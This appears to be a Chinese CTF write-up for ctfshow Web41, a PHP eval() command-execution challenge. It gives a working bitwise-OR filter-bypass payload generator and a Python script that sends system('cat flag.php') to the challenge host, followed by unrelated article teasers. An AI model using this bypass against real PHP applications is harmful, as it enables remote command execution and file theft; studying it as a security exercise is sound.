ctfshow(41)--RCE/命令执行漏洞--或绕过

server/2024/10/25 13:51:56/

Web41

源代码:

if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}

代码审计:

过滤了数字和字母,但没有过滤或运算|

思路:

使用或运算绕过。

EXP:

脚本1:

<?php
$P = '/[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-/i';
$res1 = '';
$res2 = '';
$target = 'cat flag.php';
$len = strlen($target);
for ($i = 0; $i < $len; $i++) {$loop = true;for ($n1 = 0; $n1 < 256; $n1++) {if (!$loop) break;$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);if (preg_match($P, hex2bin($n1Hex))) continue;for ($n2 = 0; $n2 < 256; $n2++) {$n2Hex = $n2 < 16 ? '0' . dechex($n2) : dechex($n2);if (preg_match($P, hex2bin($n2Hex))) continue;$n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);if ($orRes === $target[$i]) {$res1 .= $n1UrlEncode;$res2 .= $n2UrlEncode;$loop = false;break;}}}
}
echo '\'' . $res1 . '\'' . '|' . '\'' . $res2 . '\'';

脚本分析:

先分析被创建的变量:
$P 是一个正则形式的字符串,储存的是题目过滤的字符。
$res1$res2先设置为空字符串,分别用来储存或运算的前件与后件。
$target 是我们要执行的RCE命令。
$len 获取target变量的长度。

分析循环结构:

最外层循环:

for ($i = 0; $i < $len; $i++)

变量$i的值代表的是$target中字符的索引,从第一个字符,即索引为0的字符开始,依次运算到最后一个字符,即 索引=$len-1 的字符为止。
在该层循环中还创建了变量$loop,用于控制内层循环是否进行。

内层循环:

for ($n1 = 0; $n1 < 256; $n1++)

变量$n1从0开始,到255为止,对应的是ASCII码中的256个编码的序号。
先判断if (!$loop) break;,即loop的值为false时,跳出该层循环。

$n1Hex = $n1 < 16 ? '0' . dechex($n1) : dechex($n1);

变量$n1Hex是变量n1的十六进制形式,如果n1<16,就在十六进制形式前拼接0.
这是因为16以下的十进制数字的十六进制形式都是一位数,而ASCII码中的符号的十六进制编码都是两位,不足两位的要在前面补零。

if (preg_match($P, hex2bin($n1Hex))) continue;

hex2bin是将十六进制数转换为ASCII字符(PHP版本高于5.4.0).
如果该符号是被过滤的符号,则continue,跳过该次循环,进行下一次循环。
如果不是,则进入下一层循环。

最内层循环:

for ($n2 = 0; $n2 < 256; $n2++)

n2与n1的含义相同。
经过与上一层循环相同的步骤后:

 $n1UrlEncode = '%' . $n1Hex;$n2UrlEncode = '%' . $n2Hex;
$orRes = urldecode($n1UrlEncode) | urldecode($n2UrlEncode);

创建n1与n2的url编码形式的变量,然后对这两个变量进行或运算,结果赋值给$orRes
如果$orRes的值与target中相应的字符串相同,就将两个url编码变量储存在res1和res2中,再跳出到最外层循环,继续运算下一个字符。

脚本2:

from requests import post
from urllib.parse import unquotefunc = '(\'%13%19%13%14%05%0d\'|\'%60%60%60%60%60%60\')'
param = '(\'%03%01%14%00%06%0c%01%07%00%10%08%10\'|\'%60%60%60%20%60%60%60%60%2e%60%60%60\')'
resp = post(url='http://250882cd-1ff1-428b-a800-06fcb94d83cf.challenge.ctf.show/',data={'c': unquote(func + param)}
)
print(resp.text)

unquote用于将字符串url解码。
func的值是system命令的编码
param 的值是 cat flag.php 的编码

最后输出页面信息,得到flag。


http://www.ppmy.cn/server/134730.html

相关文章

java前后端项目问题总结

java前后端项目问题总结 1、字段 数据库 数据库在建表时除了需要的字段还有六个必要字段 主键 id 逻辑删 is_delete 创建人create_by 创建时间create_time 修改人 update_by 修改时间 update_time 这些字段在实体类中写法 //Date注解会自动生成一个无参构造&#xf…

docker 部署单节点的etcd以及 常用使用命令

docker部署etcd $ docker run -d --name etcd-server -p 2379:2379 -p 2380:2380 quay.io/coreos/etcd:v3.5.0 /usr/local/bin/etcd -name my-etcd-1 -advertise-client-urls http://0.0.0.0:2379 -listen-client-urls http://0.0.0.0:2379 -initial-advertise-peer-urls http…

游戏引擎中ECS架构及内存布局

一.ECS E:Entity-游戏世界中的人,房子等实际物体,这些物体可能由不同的MetaMesh,ParticleSys组成 C:Component-组成实际物体的MetaMesh,ParticleSys,也可以是一个实际物体 S:System-游戏引擎,负责完成实际物体的初始化,内存管理,帧同步,线程同步等核心功能 二.ECS内存布局 1.创…

【企业老总必读】如何监控员工上网行为?监控员工上网的4种方法!人手一个!

想象一下&#xff0c;企业就像一艘大船&#xff0c;每位员工就是水手。但在这片网络海洋中&#xff0c;如何确保每位水手都专注于航行方向&#xff0c;而非偏离航道呢&#xff1f; 答案就是——监控员工上网行为。 今天&#xff0c;我们就来聊聊如何为每位“水手”配备一个“导…

Word、PDF转换为图片Java

Word、PDF转换为图片Java 需求要在小程序端展示文档内容&#xff0c;所以将文档每页转换为图片后显示 参考和其他等方案&#xff1a; https://blog.csdn.net/strggle_bin/article/details/140599514 https://www.modb.pro/db/566986 https://blog.csdn.net/spring_is_comin…

【小白学机器学习16】 概率论的世界观2: 从正态分布去认识世界

目录 1 从正态分布说起 1.1 正态分布的定义 1.2 正态分布的名字 1.3 正态分布的广泛&#xff0c;和基础性 2 正态分布的公式和图形 2.1 正态分布 2.2 标准正态分布 3 正态分布的认识的3个层次 3.1 第1层次&#xff1a;个体的某个属性的样本值&#xff0c;服从正态分布…

django celery 定时任务 Crontab 计划格式

Celery 定时任务教程 Celery 是一个强大的异步任务队列/作业队列基于分布式消息传递的开源项目。它广泛用于处理各种类型的后台任务&#xff0c;例如发送电子邮件、处理图像、数据分析和视频转换等。 本文将介绍如何使用 Celery 实现定时任务&#xff0c;包括&#xff1a; 安…

Web前端高级工程师培训:使用 Node.js 构建一个 Web 服务端程序(1)

1-使用 Node.js 构建一个 Web 服务端程序 文章目录 1-使用 Node.js 构建一个 Web 服务端程序1、Node.js的安装与基础语法2、Node.js 中的 JavaScript 与 浏览器中的 JavaScript2-1、Node.js 中的 JavaScript2-2、浏览器 中的 JavaScript 3、什么是 WebServer(APP)&#xff1f;4…